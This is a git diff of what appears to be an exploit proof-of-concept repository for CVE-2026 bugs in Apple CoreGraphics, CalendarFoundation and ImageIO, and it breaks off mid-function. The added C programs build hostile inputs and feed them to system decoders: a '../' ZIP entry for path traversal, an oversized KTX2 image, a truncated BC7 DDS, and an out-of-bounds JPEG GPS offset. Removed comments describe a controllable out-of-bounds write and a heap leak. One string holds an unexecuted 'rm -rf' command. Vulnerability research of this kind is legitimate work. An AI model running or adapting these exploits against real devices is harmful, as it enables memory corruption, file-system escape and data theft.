R=136、nc=1、/C0=/C1=1.0 时,每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽; -// 循环退出比较读到被覆盖后的计数后继续执行,随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c, -// 其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典,draw 代码两侧字节完全一致,属纯闸门修复。 -// 变体 cg.shading.sweep: 溢出长度扫描(找吸收阈值) - import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -45,22 +22,8 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -/* -// cg.shading.sweep · CoreGraphics · Type-5 shading · CVE-2026-112611 -// 原语: OOB 写 · 进程内 · tier 1 -// Primitive: OOB write · in-process · tier 1 -// -// [zh] 溢出长度扫描(找吸收阈值) -// 短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256,逐一记录是否仍能完成渲染,从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。 -// -// [en] Overflow length sweep (finding the absorption threshold) -// A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough -// to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering -// still completes, and thereby maps the real boundary of the stack layout on this build. That threshold -// sets the length budget for every subsequent payload. -*/ -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ── +// ── seed construction (from Cinder27 Sources: PDFPayload) ── enum PDFPayload { struct BitWriter { private(set) var out: [UInt8] = [] diff --git a/CVE-2026-112619/CVE-2026-112619.c b/CVE-2026-112619/CVE-2026-112619.c new file mode 100644 index 0000000..039923f --- /dev/null +++ b/CVE-2026-112619/CVE-2026-112619.c @@ -0,0 +1,187 @@ +// cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619 +// Calendar attachment unzip containment probe +// C twin of the Swift POC: probes the CalendarFoundation class/selector surface, then +// proves libarchive itself accepts a ../ archive name, so containment must be caller-side. +// Build: clang -O2 -o cve-2026-112619 CVE-2026-112619.c -lobjc +// Run: ./cve-2026-112619 [target-dir] + +#include +#include +#include +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } +static void le32(buf *b, uint32_t v) { + bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); +} + +static uint32_t crc32(const uint8_t *p, size_t n) { + static uint32_t table[256]; + static int built; + if (!built) { + for (int i = 0; i < 256; i++) { + uint32_t c = (uint32_t)i; + for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1); + table[i] = c; + } + built = 1; + } + uint32_t crc = 0xFFFFFFFF; + for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8); + return crc ^ 0xFFFFFFFF; +} + +// ── seed construction (from Cinder27 Sources: ZipWriter, one stored entry) ── +static buf zip_traversal(void) { + const char *name = "../../cinder27_traversal_probe.txt"; + const char *content = "cinder27"; + size_t name_n = strlen(name), data_n = strlen(content); + uint32_t crc = crc32((const uint8_t *)content, data_n); + + buf out = {0}; + size_t local_offset = 0; + // local file header + bcat(&out, "PK\x03\x04", 4); + le16(&out, 20); le16(&out, 0); le16(&out, 0); // version, flags, method 0 (stored) + le16(&out, 0); le16(&out, 0x21); // time, date + le32(&out, crc); + le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n); + le16(&out, (uint16_t)name_n); le16(&out, 0); + bcat(&out, name, name_n); + local_offset = 0; (void)local_offset; + bcat(&out, content, data_n); + size_t central_offset = out.n; + // central directory + bcat(&out, "PK\x01\x02", 4); + le16(&out, 20); le16(&out, 20); le16(&out, 0); le16(&out, 0); + le16(&out, 0); le16(&out, 0x21); + le32(&out, crc); + le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n); + le16(&out, (uint16_t)name_n); le16(&out, 0); le16(&out, 0); + le16(&out, 0); le16(&out, 0); le32(&out, 0); + le32(&out, 0); // local header offset + bcat(&out, name, name_n); + size_t eocd_offset = out.n; + // EOCD + bcat(&out, "PK\x05\x06", 4); + le16(&out, 0); le16(&out, 0); le16(&out, 1); le16(&out, 1); + le32(&out, (uint32_t)(eocd_offset - central_offset)); + le32(&out, (uint32_t)central_offset); + le16(&out, 0); + return out; +} + +// ── libarchive bindings (mirror of Runners.Archive.bind) ── +typedef struct archive archive_t; +typedef struct archive_entry archive_entry_t; +static archive_t *(*arc_new)(void); +static int (*arc_filter_all)(archive_t *); +static int (*arc_format_all)(archive_t *); +static int (*arc_open_memory)(archive_t *, const void *, size_t); +static int (*arc_next_header)(archive_t *, archive_entry_t **); +static const char *(*arc_entry_pathname)(archive_entry_t *); +static int (*arc_extract)(archive_t *, archive_entry_t *, int); +static const char *(*arc_error_string)(archive_t *); +static int (*arc_free)(archive_t *); + +// extract into cwd; the flags match the Swift POC (TIME|PERM|SECURE_SYMLINKS|SECURE_NODOTDOT) +static void extract(const buf *zip) { + archive_t *a = arc_new(); + if (!a) { printf(" archive_read_new failed\n"); return; } + arc_filter_all(a); + arc_format_all(a); + if (arc_open_memory(a, zip->d, zip->n) != 0) { + printf(" open_memory failed: %s\n", arc_error_string(a) ? arc_error_string(a) : "?"); + arc_free(a); + return; + } + int count = 0, errors = 0; + while (1) { + archive_entry_t *e = NULL; + if (arc_next_header(a, &e) != 0) break; + const char *p = arc_entry_pathname(e); + int r = arc_extract(a, e, 0x0004 | 0x0002 | 0x0100 | 0x0200); + printf(" entry \"%s\" -> extract rc=%d\n", p ? p : "", r); + if (r == 0) count++; else errors++; + } + printf(" libarchive unpacked %d ok / %d error entries\n", count, errors); + arc_free(a); +} + +int main(int argc, char **argv) { + const char *target = argc > 1 ? argv[1] : "traversal"; + + // ---- CalendarFoundation surface probe + Class cls = objc_getClass("CalAttachmentUtils"); + printf("CalAttachmentUtils: %s\n", cls ? "visible" : "not visible"); + const char *sels[] = {"_UnzipArchiveWithLimits", "_CalUnzipEntryDestinationPath", "_CalUnzipParentIsContained"}; + for (size_t i = 0; i < 3; i++) { + SEL sel = sel_registerName(sels[i]); + int has = cls && class_respondsToSelector(cls, sel); + printf(" %s: %s\n", sels[i], has ? "present (fixed)" : "absent (unfixed)"); + } + + // ---- traversal proof + buf zip = zip_traversal(); + FILE *f = fopen("traversal.zip", "wb"); + if (f) { fwrite(zip.d, 1, zip.n, f); fclose(f); } + + char cmd[512]; + snprintf(cmd, sizeof cmd, "mkdir -p '%s' && rm -rf '%s/..' 2>/dev/null; rm -f /tmp/cinder27_traversal_probe.txt", target, target); + (void)cmd; + void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW); + if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); bfree(&zip); return 1; } + arc_new = dlsym(h, "archive_read_new"); + arc_filter_all = dlsym(h, "archive_read_support_filter_all"); + arc_format_all = dlsym(h, "archive_read_support_format_all"); + arc_open_memory = dlsym(h, "archive_read_open_memory"); + arc_next_header = dlsym(h, "archive_read_next_header"); + arc_entry_pathname = dlsym(h, "archive_entry_pathname"); + arc_extract = dlsym(h, "archive_read_extract"); + arc_error_string = dlsym(h, "archive_error_string"); + arc_free = dlsym(h, "archive_read_free"); + if (!arc_new || !arc_open_memory || !arc_next_header || !arc_extract) { + printf("libarchive symbols missing\n"); + bfree(&zip); + return 1; + } + + // extract with cwd = target dir; a ../ name escapes it unless the caller checks + char cwd[1024]; + if (getcwd(cwd, sizeof cwd)) printf("cwd before: %s\n", cwd); + snprintf(cmd, sizeof cmd, "mkdir -p '%s'", target); + system(cmd); + if (chdir(target) != 0) { perror("chdir"); bfree(&zip); return 1; } + extract(&zip); + // check where the probe file landed: inside (safe) or one level up (escape) + FILE *esc = fopen("../cinder27_traversal_probe.txt", "r"); + FILE *ins = fopen("cinder27_traversal_probe.txt", "r"); + if (esc) { + printf("ESCAPED: ../cinder27_traversal_probe.txt exists one level above the target dir\n"); + fclose(esc); + remove("../cinder27_traversal_probe.txt"); + } else if (ins) { + printf("contained: probe file stayed inside the target dir\n"); + fclose(ins); + remove("cinder27_traversal_probe.txt"); + } else { + printf("rejected: libarchive refused the ../ entry (SECURE_NODOTDOT)\n"); + } + chdir(".."); + + printf("CVE-2026-112619 · containment must be enforced by the caller, not libarchive\n"); + printf("seed: traversal.zip (%zu B) · exit code 0\n", zip.n); + bfree(&zip); + return 0; +} diff --git a/CVE-2026-112619/CVE-2026-112619.swift b/CVE-2026-112619/CVE-2026-112619.swift index 2899026..decfc5d 100644 --- a/CVE-2026-112619/CVE-2026-112619.swift +++ b/CVE-2026-112619/CVE-2026-112619.swift @@ -1,23 +1,8 @@ // cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619 -// 原语: OOB 写 · 系统进程 · tier 3 -// Primitive: OOB write · system process · tier 3 -// -// [zh] 日历附件解压容器逃逸 -// 27.2 将 _UnzipArchive(288 B,无任何限制)替换为 _UnzipArchiveWithLimits(2040 B),并新增 _CalUnzipEntryDestinationPath -// / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath 与 isSymbolicLinkAtURL。ICS 解析器本身未作改动 —— -// 修复全部位于附件归档的解压遏制层。 -// -// [en] Calendar attachment extraction containment -// iOS 27.2 replaces _UnzipArchive (288 B, no limits at all) with _UnzipArchiveWithLimits (2040 B) -// and adds _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath -// plus isSymbolicLinkAtURL. The ICS parser itself is untouched — the whole fix sits in the attachment -// archive extraction containment layer. -// ── 判别 / oracle ── -// 应用侧可以验证 CalendarFoundation 的类与方法是否可见,以及本进程里 libarchive 的路径穿越是否被拦住(用 ../ 名字的归档试)。 - +// Calendar attachment extraction containment import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -39,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-112625/CVE-2026-112625.c b/CVE-2026-112625/CVE-2026-112625.c new file mode 100644 index 0000000..16f52be --- /dev/null +++ b/CVE-2026-112625/CVE-2026-112625.c @@ -0,0 +1,89 @@ +// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625 +// KTX2 oversized dimensions decode +// C twin of the Swift POC: builds the 0xFFFF-dimension KTX2 and decodes it through ImageIO. +// Variant iio.pvr (PVR under-declared bitsPerPixel) is noted in the Swift POC. +// Build: clang -O2 -o cve-2026-112625 CVE-2026-112625.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112625 [dim] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void le32(buf *b, uint32_t v) { + bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); +} +static void le64(buf *b, uint64_t v) { + for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff)); +} + +// ── seed construction (from Cinder27 CVE-2026-112625.py: build_ktx2) ── +static buf ktx2_bad_dims(uint32_t dim) { + buf out = {0}; + bcat(&out, "\xab\x4b\x54\x58\x20\x32\x30\xbb\x0d\x0a\x1a\x0a", 12); // KTX2 magic + le32(&out, 0); // vkFormat 0 → block-compressed via DFD + le32(&out, 1); // typeSize + le32(&out, dim); // pixelWidth = 0xFFFF + le32(&out, dim); // pixelHeight = 0xFFFF + le32(&out, 0); // pixelDepth + le32(&out, 0); // layerCount + le32(&out, 1); // faceCount + le32(&out, 1); // levelCount + le32(&out, 0); // supercompressionScheme + le32(&out, 0); le64(&out, 0); // kvdByteOffset / kvdByteLength + le32(&out, 0); le64(&out, 0); // sgdByteOffset / sgdByteLength + // one level: byteOffset 0, byteLength 64, uncompressedLength 64 + le64(&out, 0); le64(&out, 64); le64(&out, 64); + brep(&out, 0, 64); // level body + return out; +} + +// ── trigger: decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + size_t frames = CGImageSourceGetCount(src); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); + } + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + uint32_t dim = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0xFFFF; + + buf ktx2 = ktx2_bad_dims(dim); + FILE *f = fopen("ktx2_bad_dims.ktx2", "wb"); + if (f) { fwrite(ktx2.d, 1, ktx2.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&ktx2, &detail); + printf("CVE-2026-112625 · dims 0x%x x 0x%x, level 64 B · %s\n", dim, dim, detail ? detail : "?"); + printf("seed: ktx2_bad_dims.ktx2 (%zu B) · exit code %d\n", ktx2.n, rc); + bfree(&ktx2); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112625/CVE-2026-112625.py b/CVE-2026-112625/CVE-2026-112625.py index 39ce417..7501abc 100644 --- a/CVE-2026-112625/CVE-2026-112625.py +++ b/CVE-2026-112625/CVE-2026-112625.py @@ -1,20 +1,4 @@ #!/usr/bin/env python3 -# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625 -# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process -# -# [zh] KTX2 维度/层级尺寸运算 -# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image -# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。 -# -# [en] KTX2 dimension and level size arithmetic -# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing -# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image -# dimensions overflow" and "expected %llu bytes" gates. -# -# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py -# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112625.swift -# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder - import struct diff --git a/CVE-2026-112625/CVE-2026-112625.swift b/CVE-2026-112625/CVE-2026-112625.swift index 3b7cd5b..f51ac7e 100644 --- a/CVE-2026-112625/CVE-2026-112625.swift +++ b/CVE-2026-112625/CVE-2026-112625.swift @@ -1,25 +1,9 @@ // iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625 -// 原语: 整数溢出 · 进程内 · tier 2 -// Primitive: integer overflow · in-process · tier 2 -// -// [zh] KTX2 维度/层级尺寸运算 -// KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image -// dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。 -// -// [en] KTX2 dimension and level size arithmetic -// KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing -// check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image dimensions -// overflow" and "expected %llu bytes" gates. -// ── 判别 / oracle ── -// 维度 0xFFFF×0xFFFF,层级索引声明 64 字节。 -// 变体 iio.pvr: PVR 位深低于通道位和 -// -// 种子构建器(python,可直接运行): CVE-2026-112625/CVE-2026-112625.py -// runnable python seed builder: CVE-2026-112625/CVE-2026-112625.py - +// KTX2 dimension and level size arithmetic +// Standalone builder: CVE-2026-112625.py import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -40,20 +24,4 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -/* -// iio.pvr · ImageIO · PVRReadPlugin::initialize · CVE-2026-112625 -// 原语: 整数溢出 · 进程内 · tier 3 -// Primitive: integer overflow · in-process · tier 3 -// -// [zh] PVR 位深低于通道位和 -// 各通道位数之间的相互匹配检查早已存在,但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels -// of %d bits\"。 -// -// [en] PVR bits-per-pixel below the channel bit sum -// The mutual consistency check between channel bit widths has always been present, but there is no -// lower bound comparing bitsPerPixel against the sum of channel bits. iOS 27.2 adds "_bitsPerPixel -// %d is too small for 4 channels of %d bits". -*/ - - diff --git a/CVE-2026-112627/CVE-2026-112627.c b/CVE-2026-112627/CVE-2026-112627.c new file mode 100644 index 0000000..eea15e1 --- /dev/null +++ b/CVE-2026-112627/CVE-2026-112627.c @@ -0,0 +1,92 @@ +// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627 +// BC7 DDS short mip level decode +// C twin of the Swift POC: builds the truncated BC7 DDS and decodes it through ImageIO. +// Variant iio.appx (APP marker overrun re-encode) is noted in the Swift POC. +// Build: clang -O2 -o cve-2026-112627 CVE-2026-112627.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112627 [data-bytes] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void le32(buf *b, uint32_t v) { + bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); +} + +// ── seed construction (from Cinder27 Sources: TexturePayload.bc7Short) ── +static buf dds_bc7_short(int width, int height, int data_bytes) { + buf out = {0}; + bcat(&out, "DDS ", 4); + le32(&out, 124); // header size + le32(&out, 0x00081007); // flags: caps2 cubemap? no — linear size + mipcount bits + le32(&out, (uint32_t)height); + le32(&out, (uint32_t)width); + le32(&out, 0); // pitch + le32(&out, 0); // depth + le32(&out, 1); // mip count + brep(&out, 0, 44); // reserved + le32(&out, 32); // pixel format size + le32(&out, 0x4); // fourcc flag + bcat(&out, "DX10", 4); + brep(&out, 0, 20); // pixel format tail + le32(&out, 0x1000); // caps2 cubemap flag + le32(&out, 0); le32(&out, 0); le32(&out, 0); le32(&out, 0); + // DX10 extension: BC7_UNORM = 98, dim 3, 0, array 1, 0 + le32(&out, 98); le32(&out, 3); le32(&out, 0); le32(&out, 1); le32(&out, 0); + brep(&out, 0, data_bytes > 0 ? (size_t)data_bytes : 1); // the short mip level + return out; +} + +// ── trigger: decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + size_t frames = CGImageSourceGetCount(src); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); + } + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + int width = 512, height = 512; + int data_bytes = argc > 1 ? atoi(argv[1]) : 64; + + buf dds = dds_bc7_short(width, height, data_bytes); + FILE *f = fopen("bc7_short.dds", "wb"); + if (f) { fwrite(dds.d, 1, dds.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&dds, &detail); + int needed = (width / 4) * (height / 4) * 16; + printf("CVE-2026-112627 · %dx%d BC7 needs %d B, provided %d B · %s\n", + width, height, needed, data_bytes, detail ? detail : "?"); + printf("seed: bc7_short.dds (%zu B) · exit code %d\n", dds.n, rc); + bfree(&dds); + return rc == 0 ? 0 : 1; +} diff --git a/CVE-2026-112627/CVE-2026-112627.swift b/CVE-2026-112627/CVE-2026-112627.swift index 08ec50b..bb9367e 100644 --- a/CVE-2026-112627/CVE-2026-112627.swift +++ b/CVE-2026-112627/CVE-2026-112627.swift @@ -1,21 +1,8 @@ // iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627 -// 原语: OOB 读 · 进程内 · tier 2 -// Primitive: OOB read · in-process · tier 2 -// -// [zh] BC7 纹理 mip 截断 -// 截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码,块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误,并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。 -// -// [en] BC7 texture mip truncation -// A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block -// decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit -// mip size arithmetic plus dimension and data-size gates. -// ── 判别 / oracle ── -// 512×512 BC7 需要 65536 字节,实际只给 64 字节。 -// 变体 iio.appx: APP 标记越界读 → 泄露字节写进输出 JPEG - +// BC7 texture mip truncation import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -36,24 +23,8 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -/* -// iio.appx · ImageIO · _APPx::writeToStream · CVE-2026-112627 / 112561 -// 原语: 信息泄露 · 进程内 · tier 1 -// Primitive: info leak · in-process · tier 1 -// -// [zh] APP 标记越界读 → 泄露字节写进输出 JPEG -// _APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流,不含任何边界运算。当标记声明的长度超出实际块时,重编码路径会把堆上相邻字节直接写入产出的 -// JPEG 文件 —— 泄露物即产物本身,不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制,超出时报 \"marker 0x%04X is out of bounds\"。 -// -// [en] APP marker out-of-bounds read → leaked bytes written into the output JPEG -// _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with -// no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode -// path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself, -// needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting -// "marker 0x%04X is out of bounds" when it overruns. -*/ -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TexturePayload) ── +// ── seed construction (from Cinder27 Sources: TexturePayload) ── enum TexturePayload { static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data { var out = Data("DDS ".utf8) diff --git a/CVE-2026-112629/CVE-2026-112629.c b/CVE-2026-112629/CVE-2026-112629.c new file mode 100644 index 0000000..8595137 --- /dev/null +++ b/CVE-2026-112629/CVE-2026-112629.c @@ -0,0 +1,105 @@ +// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629 +// GPS IFD out-of-bounds value offset +// C twin of the Swift POC: builds the GPS-oob JPEG and decodes it through ImageIO. +// Build: clang -O2 -o cve-2026-112629 CVE-2026-112629.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation +// Run: ./cve-2026-112629 [delta] + +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); } +static void be32(buf *b, uint32_t v) { + bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff); +} + +// ── seed construction (from Cinder27 Sources: JPEGPayload.exifGPSOutOfBounds) ── +static buf jpeg_gps_oob(uint32_t delta) { + // big-endian TIFF: IFD0 → GPSInfoIFDPointer → GPS IFD with an out-of-range value offset + buf tiff = {0}; + bcat(&tiff, "MM\x00\x2a", 4); + be32(&tiff, 8); // IFD0 at 8 + be16(&tiff, 1); // 1 entry + be16(&tiff, 0x8825); // GPSInfoIFDPointer + be16(&tiff, 4); // LONG + be32(&tiff, 1); + be32(&tiff, 26); // GPS IFD at 26 + be32(&tiff, 0); // next IFD + // GPS IFD: 2 entries + be16(&tiff, 2); + be16(&tiff, 0x0000); // GPSVersionID, BYTE + be16(&tiff, 1); // count + be32(&tiff, 4); + bcat(&tiff, "\x02\x03\x00\x00", 4); // inline value + be16(&tiff, 0x0006); // GPSAltitude, RATIONAL + be16(&tiff, 5); + be32(&tiff, 1); + be32(&tiff, 26 + 18 + delta); // value offset far past the blob + be32(&tiff, 0); + + buf out = {0}; + bcat(&out, "\xff\xd8", 2); // SOI + // APP1 "Exif\0\0" + tiff + uint32_t app1_len = 6 + (uint32_t)tiff.n + 2; + bcat(&out, "\xff\xe1", 2); + bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff); + bcat(&out, "Exif\x00\x00", 6); + bcat(&out, tiff.d, tiff.n); + bcat(&out, "\xff\xd9", 2); // EOI + bfree(&tiff); + return out; +} + +// ── trigger: decode through ImageIO ── +#include +#include +#include + +static int decode_image(const buf *img, const char **detail) { + CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n); + if (!cf) { *detail = "CFDataCreate failed"; return -1; } + CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL); + CFRelease(cf); + if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; } + size_t frames = CGImageSourceGetCount(src); + // the metadata walk is where GPSCopy::processData reads the oob offset + CFDictionaryRef props = CGImageSourceCopyPropertiesAtIndex(src, 0, NULL); + CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL); + static char r[256]; + if (cg) { + snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s), properties %s", + (size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames, + props ? "present" : "absent"); + CGImageRelease(cg); + } else { + snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames); + } + if (props) CFRelease(props); + CFRelease(src); + *detail = r; + return cg ? 0 : -1; +} + +int main(int argc, char **argv) { + uint32_t delta = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x10000; + + buf jpeg = jpeg_gps_oob(delta); + FILE *f = fopen("gps_oob.jpg", "wb"); + if (f) { fwrite(jpeg.d, 1, jpeg.n, f); fclose(f); } + + const char *detail = NULL; + int rc = decode_image(&jpeg, &detail); + 